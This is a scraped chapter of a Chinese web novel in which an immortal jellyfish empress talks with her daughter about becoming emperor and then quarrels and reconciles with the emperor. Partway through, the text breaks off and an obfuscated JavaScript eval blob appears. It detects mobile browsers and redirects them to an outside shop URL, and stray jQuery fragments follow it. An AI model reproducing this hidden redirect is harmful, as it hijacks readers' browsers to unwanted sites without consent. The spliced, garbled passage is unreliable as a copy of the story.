第48章 番外1

作品:《GB绑定生子系统,谁爱生谁生

    #番外1


    “娘亲,为什么大臣们都只教哥哥读书,不教我读书啊?”


    某年某月某日,一个悠闲的下午,云端正在爬树摘果子,就突然听见树底下一道糯糯的声音朝自己喊话。


    她低头一看,瞧见一个穿着鹅黄罗裙的小姑娘。


    云端摘了个果子抛下去,小姑娘急急忙忙抱住,又仰起肥肥的小脑袋看她,淡色的小眉毛还忧愁地拧着,“娘亲……”


    “因为他们都是一群固执己见的蠢蛋,看不见我们平昌的努力啊。”


    云端跳下去,一把将那小姑娘抱了起来,“怎么,那些大臣不教你读书,你爹也没说什么?”


    一说这个小姑娘更委屈了,“他说会重新给我找夫子……女夫子。”


    “女夫子未必比那些大臣差呀。”


    “那大臣里怎么没有女大臣呢?”


    云端刮了刮她的鼻子,“因为至今以来皇位上坐的都是男皇帝,他们害怕女子跟他们抢位置,所以不让女子冒头。”


    平昌似懂非懂,“包括父皇吗?”


    “当然包括了。”


    “那娘亲,能不能你当皇帝呀?这样平昌就能和哥哥一样跟着大臣读书了。”


    云端叹了口气,“可是娘亲太懒,连神仙都不想当,也当不了皇帝。”


    平昌歪了下小脑袋,“平昌不懒,平昌可以当皇帝吗?”


    云端蓦地转圈然后一把将她抛向了天上,眼见她在高空上呜呼尖叫,又放出水母须子把她抱了回来,“害怕吗?”


    平昌还没回神,小脸煞白地点头。


    “要当皇帝,会比刚才要更害怕哦。”


    平昌懵懵地跟她对视,好半天都没有说话。


    云端摸摸她的脑袋,“回去吧,再回去想想,这辈子到底是想在你爹你哥之下衣食无忧一生,还是要和你哥你爹一样,站到朝堂上去,夺回和他们一样的人生呢。”


    平昌这一想,就想了有好几年。


    七岁的时候平昌又来找云端了,仍旧肥肥的


    脸上带着不知从哪沾来的泥灰,“娘,我能跟你一样当妖怪,当神仙吗?


    云端呸呸呸掉嘴边的瓜子皮,怜爱地摸摸她的脑袋,“你是人,生来就只能当人。


    平昌不开心地瘪嘴,“都因为我爹是人,对吗?


    如果她爹也是妖怪,那她也能当妖怪了,就可以不用守人类的这些破规矩了。


    “你爹可是皇帝啊。


    “那还天天被娘亲欺负呢。


    “……云端严肃了脸,连瓜子也不嗑了,掐着她脸边软肉往两边扯,“谁跟你说的这些事?


    “我瞧见啦!平昌甩开她的手,“那天我去找父皇告哥哥的状,就瞧见娘亲在骂父皇,后来还把父皇推到桌子上了,父皇连嘴都不敢回呢。


    吓她一跳。


    云端松了口气,是那天的事啊,还以为让小孩子瞧见什么少儿不宜的东西了。


    那天她就是没事出宫溜达,溜达着溜达着就英雌救美救下了路边一个被**的小书生。


    小书生是进京赶考的,长得白白净净的还挺有文化,说感谢救命之恩等以后高中一定会报答她,她说怎么报答呢以身相许吗?没想到小书生红着脸说姑娘若希望如此小生愿意,她就没忍住对人吹了个口哨——


    吹完她就拍拍手潇洒走啦,没答应那以身相许呢,结果回宫就见燕时殊黑着张脸。


    ——“倒不知朕的皇后还会吹那流氓哨。改日那书生中举了是不是要朕为皇后操办着纳小?


    她一看就知道小燕子这是吃醋了啊,为了安抚小燕子她当即就对着燕时殊吹起了哨,而且是三百六十度无死角环绕吹哨,吹了快半个小时嗓子都给她吹干了结果燕时殊不领情还突然暴起来掐她嘴。


    她觉得莫名其妙又委屈的,就跟燕时殊吵起来了,最后一把把试图掐她嘴的燕时殊推到了桌子上气哼哼离开。


    “咳。回忆结束,云端可不希望大人间的争吵影响到孩子,于是抱起平昌,“虽然他斗不过你娘,但除了你娘以外,这天底下也没谁是他斗不过了的呀。


    平昌还是不开心地嘟着个


    嘴,显然对于当不了妖怪这事还有点耿耿于怀,但很快她又问:“那是不是除了娘亲,皇帝就是天底下最厉害的了?”


    “嗯,是。”


    “那平昌要当皇帝!”


    平昌从她怀里跳了出来,“平昌想好了,我不要每次都被哥哥压一头,跟大臣们说话他们却总是笑着来摸平昌的脑袋都不认真听,还有父皇!我最讨厌他了!每次都给我哥哥用不上的!”


    “我要当皇帝!我要当天下第一的人!我要站在他们上面!让他们都认真听我说话!”


    云端笑了,也不去抱她了,“好,不愧是我的女儿,跟夫子相处得还好吗?”


    平昌哼了一声,“他已经教不了我了。”


    “那娘亲来教你吧。”


    平昌瞪大了眼睛,看向云端,“娘……你识字吗?”


    云端:“……”


    云端:“你娘可是活了不知道多少年的妖怪,人类这点事,你娘轻松拿捏好吗?”


    说着云端捏了个痛失高丽市场的手势。


    平昌小小声嘟囔,“真的吗?”不太相信她。


    云端:“……”


    云端:“我是不是打你打少了?”


    “呜哇——”眼见自家娘亲又开始扭曲变脸阴暗爬行,平昌大叫一声逃命般地往外跑去。


    嘭一声,正好撞进燕时殊的怀里。


    刚下朝的燕时殊看着怀里跳脱的小姑娘,唇角弯了弯,但又抿直,蹲下身擦了擦她脸上的泥灰,“你又欺负丞相家的小孙子了?”


    平昌看着他冷淡的脸色,也不太敢躲,只能乖乖站着,但脸还是臭的,“欺负?是他先抢他小妹的东西我才踹他的!哼,自己打不过就会告状。”


    燕时殊眉心拧了拧,“既是抢了他小妹的东西,你为何不让他小妹自己去抢回来,你去帮,算什么理?”


    “怎么就不能帮了?瑜妹妹前段日子帮我剪了她爷爷胡子,我帮她教训一下她哥,互帮互助怎么就不行了!”


    燕时殊黑了脸,声音都冷了几分,“果然是你教唆的,可


    知丞相这几日有多郁闷?”


    丞相是京城里有名的美髯公,平日最爱的就是他那一抹胡子,突然被自家孙女一剪刀剪得参差不齐,可是郁闷着呢。


    “他让我不高兴,我当然也不会让他高兴。”平昌一把推开燕时殊,就朝外跑去,“天天就知道教训我什么公主仪态公主仪态,我只剪他胡子算轻的了!”


    “平昌!”燕时殊不由得喊了一声,可小姑娘一会儿就跑没影了,哪里还会回头来让他教训。


    燕时殊皱眉看了一会,又看向殿里坐着嗑瓜子的孩子她娘,冷哼一声,“平昌这一身戾气是越来越重了。不知是像了谁。”


    “能像谁,像她爹呗。”云端丢了颗花生粒进嘴里,“你在冷宫里当废皇子的时候难道天天笑得阳光灿烂?”


    燕时殊一下黑了脸,好半晌,才走到她旁边坐下,“此事……”


    “行了小燕子,不用说了。”云端打断他的话,拍拍身上的花生皮瓜子壳站起来,“我打算带平昌出去走两圈,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003966|193981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过段时间再回来。”


    “走?”燕时殊一双凤眸霎时盯准了她,声音冷漠辨不出喜怒,“走去哪?”


    “安啦安啦,就是带平昌去看看天下,过个三年五年就会回来的,不要太想我啊。”


    燕时殊注视着她那没心没肺的笑脸,薄薄的唇瓣被抿得发白,又渗出红。


    良久,他移开视线冷冷说了句:“你走可以,平昌留下。”


    “?嗨喽,我说的就是带平昌出去看看天下,平昌不跟着我走,我走干嘛啊?”


    “你可以带瑄儿去。”


    “哈?为什么?”


    燕时殊不说话,拂袖起身就要走。


    云端看着他的背影眨巴眨巴了两下眼睛,试探着:“陛下?陛下下下下?你不会是怕小端子跑了就不回来了,要留平昌当人质吧?”


    燕时殊步伐加大,头都没回。


    云端还不知道他这点臭脾气吗,直接小触手一捞就把小燕子给抓回来了。


    一身繁重龙袍还没褪去的燕时殊就这么被她捞回了怀里,按在了面前地


    板上一头如绸缎般柔顺的黑发掉进满地的瓜子皮中。


    燕时殊脸黑得厉害自知挣不开她那些玩意也就不挣了


    “那改明我不跟陛下打招呼找个吉祥日子直接就带着平昌跑了?”


    她这么说燕时殊当然不满意了伸手掐她两边软肉说话间都有了几分咬牙切齿的意味“你试试?”


    云端由着他掐却哼声:“你能拿我怎么办?”


    燕时殊死死盯了她好一会猛然闭上眼睛转开视线。


    一双凤眸悄无声息红了眼尾唇也抿得发白。


    云端有点点怀疑自家陛下这是苦肉计毕竟这么些年她家陛下好像越来越会些……小倌做派了。


    别管是不是装的但确实是有用的。


    云端抓着他肩膀轻晃“好嘛好嘛我会每个月给陛下写封信回来的我就是想带平昌去看看民生……好好好过年过年还有你生辰我肯定也带平昌回来……就是出去旅游嘛肯定还回来的……陛下陛下……”


    燕时殊被她晃来晃去耳边也充斥她那故意夹出来的刺耳嗓子。


    低眸看着那颗在自己胸口乱蹭的脑袋燕时殊抱住她缓缓坐起。


    “陛下?”


    你同意了——这一行字加上一个大大的问号清晰刻在她那双大眼睛里。


    燕时殊掐着她的脸指尖泄愤般地轻轻在她面颊上刮了一下。


    明知……


    却还是要这样折磨他。


    偏偏他确实毫无留下她的手段。


    燕时殊视线在她脸上定了一会儿忽而抱起她往床边走。


    被扔到床上的小水母恐惧地拉紧了衣服“干嘛?”


    燕时殊扶过她的脖颈漆黑的凤眸直直看进云端眼底“试试这一次你还舍不舍得让朕大着肚子去找你。”


    云端:?


    “不至于啊小燕子我就是出去唔……”


    ……


    “呼。”


    云端夹着从皮蛋系统那抢来的巧克力棒惆怅地吐出一口气。


    身后燕时殊侧躺在床上撑着脸颊淡淡眸光餍懒。


    修长冷白的指尖无聊缓慢地绕着她的发尾打转低醇的嗓音徐徐恍若一坛美酒倾泻。


    “怎么愈发不中用了……”


    云端:“……”


    她张牙舞爪地再次扑了上去。


    听见燕时殊胸口闷闷低笑。


    怎么办。


    陛下这点小倌手段是使得越来越炉火纯青了真有点舍不得走了可怎么办啊?


    要不……


    让平昌自己流浪去?